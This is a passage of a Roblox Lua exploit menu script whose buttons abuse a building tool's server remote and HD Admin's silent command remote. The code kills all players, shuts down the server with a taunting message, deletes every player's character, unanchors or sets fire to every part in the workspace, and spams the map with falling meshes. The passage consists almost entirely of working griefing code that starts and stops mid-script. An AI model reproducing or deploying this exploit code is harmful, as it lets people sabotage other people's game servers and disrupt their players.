["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7000, 7000, 7000))
SetLocked(v,true)
end
end
end
Sky("12293485603")
end)
sky2.Name = "sky2"
sky2.Parent = TextLabel_4
sky2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sky2.BorderColor3 = Color3.fromRGB(0, 53, 11)
sky2.Position = UDim2.new(0.0670000017, 0, -46.5, 0)
sky2.Size = UDim2.new(0, 47, 0, 39)
sky2.Font = Enum.Font.SourceSans
sky2.Text = "SkyBox 2"
sky2.TextColor3 = Color3.fromRGB(255, 255, 255)
sky2.TextScaled = true
sky2.TextSize = 14.000
sky2.TextWrapped = true
sky2.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7000, 7000, 7000))
SetLocked(v,true)
end
end
end
Sky("11426185601")
end)
kill.Name = "kill"
kill.Parent = TextLabel_4
kill.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
kill.BorderColor3 = Color3.fromRGB(0, 53, 11)
kill.Position = UDim2.new(0.388235331, 0, -36.0714302, 0)
kill.Size = UDim2.new(0, 99, 0, 39)
kill.Font = Enum.Font.SourceSans
kill.Text = "Kill all"
kill.TextColor3 = Color3.fromRGB(255, 255, 255)
kill.TextScaled = true
kill.TextSize = 14.000
kill.TextWrapped = true
kill.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";kill all")
end)
musicbypas10_2.Name = "music bypas 10"
musicbypas10_2.Parent = TextLabel_4
musicbypas10_2.Active = false
musicbypas10_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas10_2.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas10_2.Position = UDim2.new(-0.86488241, 0, -22.7857151, 400)
musicbypas10_2.Size = UDim2.new(0, 99, 0, 39)
musicbypas10_2.Font = Enum.Font.SourceSans
musicbypas10_2.Text = "Stadium Rave (A)"
musicbypas10_2.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas10_2.TextScaled = true
musicbypas10_2.TextSize = 14.000
musicbypas10_2.TextWrapped = true
randcol.Name = "randcol"
randcol.Parent = TextLabel_4
randcol.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
randcol.BorderColor3 = Color3.fromRGB(0, 53, 11)
randcol.Position = UDim2.new(-0.229867011, 0, -19.514286, 0)
randcol.Size = UDim2.new(0, 97, 0, 39)
randcol.Font = Enum.Font.SourceSans
randcol.Text = "Random Colors (BROKEN AND IM LAZY)"
randcol.TextColor3 = Color3.fromRGB(255, 255, 255)
randcol.TextScaled = true
randcol.TextSize = 14.000
randcol.TextWrapped = true
unanchor.Name = "unanchor"
unanchor.Parent = TextLabel_4
unanchor.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
unanchor.BorderColor3 = Color3.fromRGB(0, 53, 11)
unanchor.Position = UDim2.new(-0.870588183, 0, -36.0714302, 0)
unanchor.Size = UDim2.new(0, 99, 0, 39)
unanchor.Font = Enum.Font.SourceSans
unanchor.Text = "UnAnchor"
unanchor.TextColor3 = Color3.fromRGB(255, 255, 255)
unanchor.TextScaled = true
unanchor.TextSize = 14.000
unanchor.TextWrapped = true
unanchor.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
toad.Name = "toad"
toad.Parent = TextLabel_4
toad.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
toad.BorderColor3 = Color3.fromRGB(0, 53, 11)
toad.Position = UDim2.new(0.388235331, 0, -39.5714302, 0)
toad.Size = UDim2.new(0, 99, 0, 39)
toad.Font = Enum.Font.SourceSans
toad.Text = "toadroasted remake"
toad.TextColor3 = Color3.fromRGB(255, 255, 255)
toad.TextScaled = true
toad.TextSize = 14.000
toad.TextWrapped = true
toad.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";sm get toadroasted by kOOpkidd (Remake)")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function Punish(player)
char = player.Character
DestroyPart(char)
end
for i,v in game.Players:GetPlayers() do
--zzspawn(function()
pcall(function()
Punish(v)
end)
--end)
end
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "111891702759441")
SetTexture(v, id)
MeshResize(v, Vector3.new(8000, 8000, 8000))
end
end
end
local function createRainToads()
while true do
wait(0.3) -- Here they change the appearance time of the Toads or other meshes
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v, "MiniToad") -- Here the name of the toad changes
SetAnchor(false, v)
AddMesh(v)
Resize(v, Vector3.new(100, 100, 100), v.CFrame)
MeshResize(v, Vector3.new(4, 4, 4))
SetMesh(v, "5038530279") -- Here put it A custom mesh
SetTexture(v, "5038530309") -- X2
SetCollision(v, false)
v.Orientation = Vector3.new(0, 0, 0)
v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
local sound = Instance.new("Sound", v)
sound.SoundId = "rbxassetid://153752123"
sound.Volume = 10
sound.PlayOnRemove = true
sound:Destroy()
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
Sky("201208408")
end)
sky.Name = "sky"
sky.Parent = TextLabel_4
sky.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sky.BorderColor3 = Color3.fromRGB(0, 53, 11)
sky.Position = UDim2.new(-0.241176382, 0, -46.5, 0)
sky.Size = UDim2.new(0, 47, 0, 39)
sky.Font = Enum.Font.SourceSans
sky.Text = "SkyBox"
sky.TextColor3 = Color3.fromRGB(255, 255, 255)
sky.TextScaled = true
sky.TextSize = 14.000
sky.TextWrapped = true
sky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7000, 7000, 7000))
SetLocked(v,true)
end
end
end
Sky("9422866248")
end)
shut_2.Name = "shut"
shut_2.Parent = TextLabel_4
shut_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
shut_2.BorderColor3 = Color3.fromRGB(0, 53, 11)
shut_2.Position = UDim2.new(-0.241176382, 0, -32.7142868, 0)
shut_2.Size = UDim2.new(0, 99, 0, 39)
shut_2.Font = Enum.Font.SourceSans
shut_2.Text = "Leave & Shutdown"
shut_2.TextColor3 = Color3.fromRGB(255, 255, 255)
shut_2.TextScaled = true
shut_2.TextSize = 14.000
shut_2.TextWrapped = true
shut_2.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";shutdown k00p has destroyed this server lool")
end)
musicbypas2.Name = "music bypas 2"
musicbypas2.Parent = TextLabel_4
musicbypas2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
musicbypas2.BorderColor3 = Color3.fromRGB(0, 53, 11)
musicbypas2.Position = UDim2.new(0.417294145, 0, -22.6428566, 250)
musicbypas2.Size = UDim2.new(0, 99, 0, 39)
musicbypas2.Font = Enum.Font.SourceSans
musicbypas2.Text = "they gon rumble"
musicbypas2.TextColor3 = Color3.fromRGB(255, 255, 255)
musicbypas2.TextScaled = true
musicbypas2.TextSize = 14.000
musicbypas2.TextWrapped = true
musicbypas2.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 7795812961")
end)
rain.Name = "rain"
rain.Parent = TextLabel_4
rain.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
rain.BorderColor3 = Color3.fromRGB(0, 53, 11)
rain.Position = UDim2.new(-0.864705801, 0, -32.7142868, 0)
rain.Size = UDim2.new(0, 99, 0, 39)
rain.Font = Enum.Font.SourceSans
rain.Text = "Fire all"
rain.TextColor3 = Color3.fromRGB(255, 255, 255)
rain.TextScaled = true
rain.TextSize = 14.000
rain.TextWrapped = true
rain.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
end)
r6.Name = "r6"
r6.Parent = TextLabel_4
r6.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
r6.BorderColor3 = Color3.fromRGB(0, 53, 11)
r6.Position = UDim2.new(-0.970588207, 0, -52.4285736, 0)
r6.Size = UDim2.new(0, 53, 0, 24)
r6.Font = Enum.Font.SourceSans
r6.Text = "R6"
r6.TextColor3 = Color3.fromRGB(255, 255, 255)
r6.TextScaled = true
r6.TextSize = 14.000
r6.TextWrapped = true
r6.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";R6 me")
end)
parts.Name = "parts"
parts.Parent = TextLabel_4
parts.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
parts.BorderColor3 = Color3.fromRGB(0, 53, 11)
parts.Position = UDim2.new(-0.864705861, 0, -43, 0)
parts.Size = UDim2.new(0, 98, 0, 39)
parts.Font = Enum.Font.SourceSans
parts.Text = "Particles"
parts.TextColor3 = Color3.fromRGB(255, 255, 255)
parts.TextScaled = true
parts.TextSize = 14.000
parts.TextWrapped = true
parts.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
